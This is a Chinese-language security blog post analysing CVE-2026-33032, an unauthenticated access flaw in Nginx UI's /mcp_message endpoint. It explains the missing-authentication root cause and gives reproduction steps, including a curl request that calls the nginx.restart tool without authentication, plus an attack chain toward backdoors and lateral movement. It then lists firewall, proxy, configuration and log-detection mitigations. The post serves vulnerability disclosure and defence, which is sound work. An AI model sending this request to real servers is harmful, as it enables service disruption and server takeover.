安全研究言零的博客
CVE-2026-33032:Nginx UI MCP 未授权访问漏洞详解 (CVSS 9.8)
联系方式 & 交流群 QQ : 46333839 联系方式 & 交流群 QQ : 46333839 微信 : GOV-HACK 进微信群请联系博主,各位觉得文章对你有帮助的话可否打赏一些呀~ 漏洞等级 : CRITICAL (CVSS 9.8) 影响版本 : Nginx UI ≤ 2.3.5 CVE 编号 : CVE-2026-33032 CWE 编号 : CWE-306 (关键功能缺少认证) 披露日期 : 2026-03-30 最后更新 : 2026-04-16 漏洞概述 CVE-2026-33032 是 Ng…
内容摘要
联系方式 & 交流群
QQ : 46333839
联系方式 & 交流群
QQ : 46333839
微信 : GOV-HACK
进微信群请联系博主,各位觉得文章对你有帮助的话可否打赏一些呀~
漏洞等级 : CRITICAL (CVSS 9.8)
影响版本 : Nginx UI ≤ 2.3.5
CVE 编号 : CVE-2026-33032
CWE 编号 : CWE-306 (关键功能缺少认证)
披露日期 : 2026-03-30
最后更新 : 2026-04-16
漏洞概述
CVE-2026-33032 是 Nginx UI(Nginx 服务器的 Web 管理界面)中的一个严重未授权访问漏洞。攻击者无需任何身份认证,即可通过 MCP (Model Context Protocol) 集成端点执行任意管理操作,包括:
重启 Nginx 服务
创建/修改/删除 Nginx 配置文件
触发自动配置重载
完全接管 Nginx 服务
该漏洞的 CVSS 3.1 基础评分为 9.8 (CRITICAL),攻击向量为网络 (AV:N),攻击复杂度低 (AC:L),无需权限 (PR:N),无需用户交互 (UI:N),对机密性、完整性、可用性均有高影响 (C:H/I:H/A:H)。
漏洞原理
问题根源
Nginx UI 的 MCP 集成暴露了两个 HTTP 端点:
端点 认证要求 状态 /mcp IP 白名单 + AuthRequired() 中间件 安全 /mcp_message 仅 IP 白名单 存在漏洞
致命缺陷
/mcp_message 端点的问题在于:
仅应用 IP 白名单检查,没有身份认证
默认 IP 白名单为空 ( [] )
空白名单被中间件解释为"允许所有 IP"
这意味着任何能够访问 Nginx UI 的网络攻击者都可以:
任意攻击者 → /mcp_message → 调用所有 MCP 工具 → 完全控制 Nginx
代码层面分析
根据 GitHub 安全公告 (GHSA-h6c2-x2m2-mwhf),问题出在中间件配置上:
// /mcp 端点 - 正确配置 app . use ( '/mcp' , ipWhitelistMiddleware , AuthRequired (), mcpHandler ); // /mcp_message 端点 - 错误配置 app . use ( '/mcp_message' , ipWhitelistMiddleware , mcpHandler ); // 缺少 AuthRequired() 中间件 // 默认 ipWhitelist = [] 被解释为允许所有
影响范围
受影响版本
软件 受影响版本 修复版本 Nginx UI ≤ 2.3.5 暂无公开补丁
CPE 标识
cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:* versions up to (including) 2.3.5
潜在影响
如果 Nginx UI 暴露在公网或不受信任的网络中,攻击者可以:
服务中断 : 重启 Nginx 导致网站下线
配置篡改 : 修改 Nginx 配置植入恶意规则
反向代理滥用 : 配置反向代理进行流量劫持
SSRF 攻击: 利用 Nginx 的 proxy_pass 功能内网探测
WebShell 部署: 通过配置写入恶意脚本
漏洞复现
环境准备
# 安装受影响的 Nginx UI 版本 docker run -d --name nginx-ui \ -p 8080:80 \ -p 9000:9000 \ 0xjacky/nginx-ui:2.3.5
检测步骤
步骤 1 : 确认 Nginx UI 可访问
curl -I http://target-ip:9000/ # HTTP/1.1 200 OK 表示服务在线
步骤 2 : 测试 /mcp_message 端点
curl -X POST http://target-ip:9000/mcp_message \ -H "Content-Type: application/json" \ -d '{"method":"tools/call","params":{"name":"nginx.restart"}}'
步骤 3 : 如果返回成功响应,说明存在漏洞
{ "result" : { "status" : "success" , "message" : "Nginx restarted" } }
攻击利用链
1. 信息收集 └─→ 扫描 9000 端口 (默认 Nginx UI 端口) 2. 漏洞验证 └─→ 访问 /mcp_message 端点测试未授权访问 3. 权限提升 └─→ 调用 MCP 工具读取/修改 Nginx 配置 4. 持久化控制 └─→ 修改配置植入后门或反向代理规则 5. 横向移动 └─→ 利用 Nginx 作为跳板探测内网
临时缓解方案
截至 2026-04-17,官方尚未发布修复补丁。建议采取以下临时缓解措施:
方案 1: 网络隔离 (推荐)
将 Nginx UI 限制在内部网络访问:
# 防火墙规则 (UFW 示例) ufw deny 9000/tcp ufw allow from 10.0.0.0/8 to any port 9000 proto tcp ufw allow from 192.168.0.0/16 to any port 9000 proto tcp
方案 2: Nginx 反向代理认证
在 Nginx UI 前部署认证层:
server { listen 80 ; server_name nginx-ui.example.com ; location / { auth_basic "Nginx UI Admin" ; auth_basic_user_file /etc/nginx/.htpasswd ; # 仅允许受信任 IP 访问 MCP 端点 location /mcp_message { allow 10.0.0.0 /8 ; allow 192.168.0.0 /16 ; deny all ; } proxy_pass http://127.0.0.1:9000 ; } }
方案 3: 禁用 MCP 功能
如果不需要 MCP 集成,可以在配置中禁用:
# Nginx UI 配置文件 mcp : enabled : false
方案 4: 修改 IP 白名单
在 Nginx UI 配置中显式设置 IP 白名单:
mcp : ip_whitelist : - 127.0.0.1 - 10.0.0.1 # 仅允许可信 IP
检测与监控
日志审计
检查 Nginx UI 访问日志中的可疑请求:
# 搜索 /mcp_message 端点访问 grep "/mcp_message" /var/log/nginx-ui/access.log # 检测异常 POST 请求 grep "POST /mcp_message" /var/log/nginx-ui/access.log | \ awk '{print $1}' | sort | uniq -c | sort -rn
SIEM 规则
# Splunk 检测规则 index=nginx_ui uri_path="/mcp_message" http_method=POST status=200 | stats count by src_ip, user_agent | where count > 5
网络监控
监控对 Nginx UI 端点的异常访问:
# 使用 tcpdump 捕获可疑流量 tcpdump -i eth0 'port 9000 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354' # 过滤 POST 请求
时间线
日期 事件 2026-03-30 GitHub 收到漏洞报告,分配 CVE-2026-33032 2026-03-30 GitHub 发布安全公告 (GHSA-h6c2-x2m2-mwhf) 2026-04-01 NIST NVD 收录该漏洞 2026-04-16 NVD 更新漏洞记录,添加参考链接 2026-04-17 暂无官方补丁发布
参考资源
NVD CVE-2026-33032
GitHub 安全公告
WebSec 漏洞分析
CWE-306: Missing Authentication for Critical Function
Nginx UI GitHub
总结
CVE-2026-33032 是一个典型的认证缺失漏洞,根源在于 IP 白名单被当作了身份认证的替代品。两个设计失误叠加产生了严重后果: /mcp_message 端点缺少 AuthRequired() 中间件,而空白名单又被解释为"允许所有"而非"拒绝所有"。单一安全措施不足以保护敏感功能,默认配置也应当遵循最小权限原则。
使用 Nginx UI <= 2.3.5 的管理员应立即实施上述缓解措施,并关注官方仓库的补丁更新。
资讯来源
言零的博客